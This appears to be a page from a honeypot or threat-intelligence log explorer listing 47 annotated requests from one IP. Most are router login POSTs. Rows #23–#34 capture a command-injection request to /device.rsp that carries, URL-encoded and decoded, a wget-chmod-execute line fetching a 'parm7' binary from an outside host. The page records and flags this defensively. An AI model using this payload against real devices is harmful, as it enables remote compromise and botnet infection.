← Back to IP report

Log Explorer

Fact drill-down for 141.98.11.210

Risk 14 LOW Scope All time All-time facts 47 In-scope 47 Filtered 47 Seen 2025-03-28 → 2025-04-20

Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

HTTP facets

Snapshot facets

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

base 27 cmdi 15 sfp 5

Top labels (facts, in-scope)

observed 27 cmdi 15 sensitive_file 5

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 1 — total 47 rows

← Prev Next →

#1 2025-04-20 22:09:23 event 7706090 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#2 2025-04-19 17:34:05 event 6955557 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#3 2025-04-19 17:17:24 event 6954916 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#4 2025-04-19 17:10:28 event 6954362 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#5 2025-04-19 15:56:46 event 6951063 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#6 2025-04-19 15:05:06 event 6897868 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#7 2025-04-09 17:45:58 event 4829517 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#8 2025-04-09 17:40:20 event 4829182 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#9 2025-04-09 16:26:03 event 4814598 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#10 2025-04-09 16:16:47 event 4814121 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#11 2025-04-09 16:16:47 event 4814118 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#12 2025-04-09 14:20:15 event 4765548 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#13 2025-04-09 13:43:56 event 4755418 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#14 2025-04-09 03:51:48 event 4586532 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#15 2025-04-09 03:41:29 event 4575959 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#16 2025-04-09 03:41:29 event 4575956 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#17 2025-04-09 01:28:06 event 4530572 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#18 2025-04-09 00:50:03 event 4527186 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#19 2025-04-08 19:50:45 event 4441310 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#20 2025-04-08 19:50:45 event 4441307 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#21 2025-04-08 18:39:02 event 4410018 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://139.59.53.236:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#22 2025-04-08 16:08:10 event 4374884 POST 301 bytes 169

ann base label observed

Request event observed

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/boaform/admin/formLogin

referer

http://68.183.80.204:80/admin/login.asp

Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#23 2025-03-29 03:16:08 event 4342923 POST 301 bytes 169

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#24 2025-03-29 03:16:08 event 4342921 POST 301 bytes 169

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#25 2025-03-29 03:16:08 event 4342923 POST 301 bytes 169

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

Encoded command separator/newline inside suspicious parameter context. Snippet='?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbi'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#26 2025-03-29 03:16:08 event 4342923 POST 301 bytes 169

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='d=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm -rf parm7; wget http://193.32.162.27/bins/parm7; chmod 777 parm7; ./parm7 s'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#27 2025-03-29 03:16:08 event 4342923 POST 301 bytes 169

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

Suspicious command parameter combined with a recognized command token. Snippet='d=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd /tmp;rm -rf parm7; wget http://193.32.162.27/bins/parm7; chmod 777 parm7; ./parm7 s'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#28 2025-03-29 03:16:08 event 4342921 POST 301 bytes 169

ann cmdi 22 label cmdi

Request Command/file-injection indicator: cmdi:encoded_sep_in_param

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:encoded_sep_in_param

conf

78.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:encoded_sep_in_param

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#29 2025-03-29 03:16:08 event 4342921 POST 301 bytes 169

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#30 2025-03-29 03:16:08 event 4342921 POST 301 bytes 169

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:param_plus_cmd

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

cmdi

rule

cmdi:param_plus_cmd

conf

90.00

details

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command/file-injection indicator: cmdi:param_plus_cmd

details

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#31 2025-03-29 03:16:08 event 4342923 POST 301 bytes 169

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#32 2025-03-29 03:16:08 event 4342921 POST 301 bytes 169

ann base label observed

Request event observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

event observed

details

—

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#33 2025-03-29 02:58:25 event 4342670 POST 301 bytes 169

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

subnet

141.98.11.0/24

asn

209605 — UAB Host Baltic

geo

Lithuania, Vilnius, Vilnius

org

—

#34 2025-03-29 02:58:25 event 4342669 POST 301 bytes 169

ann sfp 36 label sensitive_file

Request Command-style parameter observed

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2F…

referer

Mozila/5.0

Annotation facts

label

sensitive_file

rule

sfp:param:cmd

conf

86.00

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

More (full fields + snapshot) expand

url

/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%20parm7%3B%20wget%20http%3A%2F%2F193.32.162.27%2Fbins%2Fparm7%3B%20chmod%20777%20parm7%3B%20.%2Fparm7%20sex

referer

Mozila/5.0

summary

Command-style parameter observed

details

A command-execution style query parameter was present (cmd/exec/command/shell). Snippet='/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20-rf%2'

